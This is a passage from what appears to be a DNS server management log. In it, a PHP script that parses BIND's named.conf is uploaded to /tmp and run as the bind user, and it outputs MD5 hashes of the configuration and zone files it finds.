					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:57:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp823925; rm /tmp/pkp823925'

2026-04-23 12:57:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:57:06: Establishing a connection
2026-04-23 12:57:06: 

PUT: /tmp/pkp720276

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:57:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp720276; rm /tmp/pkp720276'

2026-04-23 12:57:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
